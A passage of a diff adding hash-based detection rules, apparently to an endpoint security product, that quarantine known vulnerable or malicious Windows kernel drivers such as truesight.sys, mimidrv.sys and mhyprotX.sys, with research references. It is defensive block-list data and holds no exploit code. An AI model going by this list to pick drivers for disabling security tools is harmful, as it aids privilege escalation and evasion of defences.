+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9933d83a-1366-5eec-b7e4-db339e2ef8c0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479686Z",
+  "creation_date": "2026-03-23T11:45:30.479688Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479693Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3972159a58fd04da06f648c3828648cf394d3eb6af89538166cae8e6184c3eb6",
+  "comment": "Vulnerable Kernel Driver (aka amifldrv64.sys) [https://www.loldrivers.io/drivers/a5eb98bf-2133-46e8-848f-a299ea0ddefa/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "993772fd-1844-50bc-be33-e18d49270d62",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821926Z",
+  "creation_date": "2026-03-23T11:45:30.821929Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821938Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7436cb59411572a6194bfffad9f9e5194107da417457d4e20a6ef1d58491e3c9",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "994113c1-2bc3-50b4-884e-9000a46dc595",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475185Z",
+  "creation_date": "2026-03-23T11:45:31.475190Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475200Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6267d7ad1aa3b2971299791711f0a06ac7d7813c20b61c8122953adcb55c9735",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "994e8590-5ad3-5b35-b8ea-ab50ba267657",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621315Z",
+  "creation_date": "2026-03-23T11:45:29.621317Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621323Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c3e3719ca592ba65a67f594ec1a08d0d7ad724b088be77d48cb33627c56f4614",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "99577592-78e7-50a2-930b-fc4e0a5e76cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486773Z",
+  "creation_date": "2026-03-23T11:45:31.486776Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486784Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ce30adf8c4332331dd63ebc3d6c12b21598c85131536fb7aa8f79dac4975811",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "995e179d-5850-58a2-9acf-93871281a07b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968096Z",
+  "creation_date": "2026-03-23T11:45:29.968098Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968104Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b6191fbda54fba328446966bec7a7208159507a8f64213e2a7202b07af14a538",
+  "comment": "Projector Rootkit malicious drivers (aka KB_VRX_deviced.sys) [https://twitter.com/struppigel/status/1551503748601729025] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "995f0244-9c75-555f-92f2-26e453da7adc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493489Z",
+  "creation_date": "2026-03-23T11:45:31.493492Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493501Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c49c9d1e3ef2bc179db8e288ac0db8487447b2f59acc7bce7c610796e49fa4ad",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "996aab3e-906f-5a01-9e8d-ddd853926182",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140988Z",
+  "creation_date": "2026-03-23T11:45:31.140990Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140996Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9abd8ca4557157de1f04c741ab1e23d428e61b9e02969ef7670644dd502e44d1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "996d17ef-9155-50ee-b7c2-f02b54e64490",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468982Z",
+  "creation_date": "2026-03-23T11:45:30.468985Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468993Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9f35c5c9f95979f227b6d35f767dd94424285f8960c904188f0624d786ff793c",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "999f819f-bfd7-5c3d-83be-d3fc4d8b6b24",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810273Z",
+  "creation_date": "2026-03-23T11:45:31.810275Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810281Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a1c8ebe32fd9e469c1a296ffec12d3ba0a22215a971a8bd5f0fd472e004c6422",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "99acf67e-3e83-5e27-a38a-050ae8807a47",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812099Z",
+  "creation_date": "2026-03-23T11:45:31.812100Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812106Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b558f5f0986b32dae4da3c78671aec42b72b701978259f851bb69baf3bd546f1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "99ade27e-8f1d-5fbb-919a-8f10d0ae83c0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140363Z",
+  "creation_date": "2026-03-23T11:45:31.140365Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140371Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c3ca4c909c558f4475bf892dda820fd5031b03ff5ed96495b358ab0edfd9d1ac",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "99be11e0-7d01-5020-921c-d0ea22ea8c9c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622297Z",
+  "creation_date": "2026-03-23T11:45:29.622299Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622304Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "79e87b93fbed84ec09261b3a0145c935f7dfe4d4805edfb563b2f971a0d51463",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "99c5bf2f-456b-52f8-9886-d4ce602ff5bf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140745Z",
+  "creation_date": "2026-03-23T11:45:31.140747Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140753Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "26e74cb34a243c8f18f5e4ea5ec95533f2bcca6bc9d3ec9269f6fe4108333a4a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "99c62b88-066b-5414-babf-089c060aa7b9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979912Z",
+  "creation_date": "2026-03-23T11:45:29.979914Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979919Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9f4ce6ab5e8d44f355426d9a6ab79833709f39b300733b5b251a0766e895e0e5",
+  "comment": "Vulnerable Kernel Driver (aka FairplayKD.sys) [https://www.loldrivers.io/drivers/31686f0e-3748-48c2-be09-fc8f3252e780/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "99c95f3c-575e-55af-b662-0d99816982c2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811453Z",
+  "creation_date": "2026-03-23T11:45:31.811455Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811460Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b0a1627b5e27ab1cd78eaa70d9a405a30f0638c4527c786c14b1f65d1e90c453",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "99d00c9e-e2fc-5b33-b3cc-1de749780df9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154604Z",
+  "creation_date": "2026-03-23T11:45:31.154606Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154612Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "536990bb05abc07cbbb1bf7a3640807f4217fc68954fae7bba6c69222db031d3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "99d203bb-5786-58c2-a06a-466336ed3b81",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611892Z",
+  "creation_date": "2026-03-23T11:45:29.611894Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611899Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "46cf46e1073b7c99142964b7c4bef1e5285fabcf2c6dbe5be99000a393d9f474",
+  "comment": "Genshin Impact vulnerable driver (aka mhyprotX.sys) [https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "99dcf548-6afa-552f-b323-ba8c2614b92d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825249Z",
+  "creation_date": "2026-03-23T11:45:31.825252Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825261Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4a16aaaf76fc0a94f8095ae748e7ae9da0a4e31ffe76492fc6322228f3ebdaf1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "99ea1204-3511-5dae-9858-c38f27204fe8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605228Z",
+  "creation_date": "2026-03-23T11:45:29.605230Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605238Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fde1b9d335167c72d64f2a47e71594ba9b6ce1a967aefc86968e9fb3e75f68dc",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "99f1fb94-30e7-5c0e-8bd4-f3f48a62184d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613718Z",
+  "creation_date": "2026-03-23T11:45:29.613720Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613725Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "86a8e0aa29a5b52c84921188cc1f0eca9a7904dcfe09544602933d8377720219",
+  "comment": "BioStar Microtech drivers vulnerable to kernel memory mapping function (aka BSMEMx64.sys, BSMIXP64.sys, BSMIx64.sys, BS_Flash64.sys, BS_HWMIO64_W10.sys, BS_HWMIo64.sys and BS_I2c64.sys) [https://www.loldrivers.io/drivers/9e87b6b0-00ed-4259-bcd7-05e2c924d58c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "99f33522-ce9e-5bf8-acf6-bd935d1dd7a7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.478662Z",
+  "creation_date": "2026-03-23T11:45:31.478665Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.478673Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "38ada3d86644fbf19025a9af5f00f6ffa69b1184d22e83abd43717e826b788f6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "99fb5604-e536-58eb-a964-4bc491450d75",
